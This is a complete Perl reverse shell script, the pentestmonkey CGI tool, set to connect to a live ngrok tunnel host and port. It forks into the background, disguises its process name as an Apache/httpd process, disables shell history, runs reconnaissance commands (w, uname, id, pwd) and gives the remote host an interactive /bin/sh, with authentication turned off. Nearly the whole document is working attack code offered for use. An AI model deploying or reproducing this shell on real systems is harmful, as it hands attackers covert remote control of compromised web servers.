#!/usr/bin/perl -w # perl-reverse-shell - A Reverse Shell implementation in PERL # Copyright (C) 2006 pentestmonkey@pentestmonkey.net # # This tool may be used for legal purposes only. Users take full responsibility # for any actions performed using this tool. The author accepts no liability # for damage caused by this tool. If these terms are not acceptable to you, then # do not use this tool. # # In all other respects the GPL version 2 applies: # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License version 2 as # published by the Free Software Foundation. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along # with this program; if not, write to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. # # This tool may be used for legal purposes only. Users take full responsibility # for any actions performed using this tool. If these terms are not acceptable to # you, then do not use this tool. # # You are encouraged to send comments, improvements or suggestions to # me at pentestmonkey@pentestmonkey.net # # Description # ----------- # This script will make an outbound TCP connection to a hardcoded IP and port. # The recipient will be given a shell running as the current user (apache normally). # use strict; use Socket; use FileHandle; use POSIX; my $VERSION = "1.0"; # Where to send the reverse shell. Change these. my $ip = '0.tcp.ap.ngrok.io'; my $port = 19376; # Options my $daemon = 1; my $auth = 0; # 0 means authentication is disabled and any # source IP can access the reverse shell my $authorised_client_pattern = qr(^127\.0\.0\.1$); # Declarations my $global_page = ""; my $fake_process_name = "/usr/sbin/apache"; # Change the process name to be less conspicious $0 = "[httpd]"; # Authenticate based on source IP address if required if (defined($ENV{'REMOTE_ADDR'})) { cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}"); if ($auth) { unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) { cgiprint("ERROR: Your client isn't authorised to view this page"); cgiexit(); } } } elsif ($auth) { cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access"); cgiexit(0); } # Background and dissociate from parent process if required if ($daemon) { my $pid = fork(); if ($pid) { cgiexit(0); # parent exits } setsid(); chdir('/'); umask(0); } # Make TCP connection for reverse shell socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp')); if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) { cgiprint("Sent reverse shell to $ip:$port"); cgiprintpage(); } else { cgiprint("Couldn't open reverse shell to $ip:$port: $!"); cgiexit(); } # Redirect STDIN, STDOUT and STDERR to the TCP connection open(STDIN, ">&SOCK"); open(STDOUT,">&SOCK"); open(STDERR,">&SOCK"); $ENV{'HISTFILE'} = '/dev/null'; system("w;uname -a;id;pwd"); exec({"/bin/sh"} ($fake_process_name, "-i")); # Wrapper around print sub cgiprint { my $line = shift; $line .= "
\n"; $global_page .= $line; } # Wrapper around exit sub cgiexit { cgiprintpage(); exit 0; # 0 to ensure we don't give a 500 response. } # Form HTTP response using all the messages gathered by cgiprint so far sub cgiprintpage { print "Content-Length: " . length($global_page) . "\r Connection: close\r Content-Type: text\/html\r\n\r\n" . $global_page; }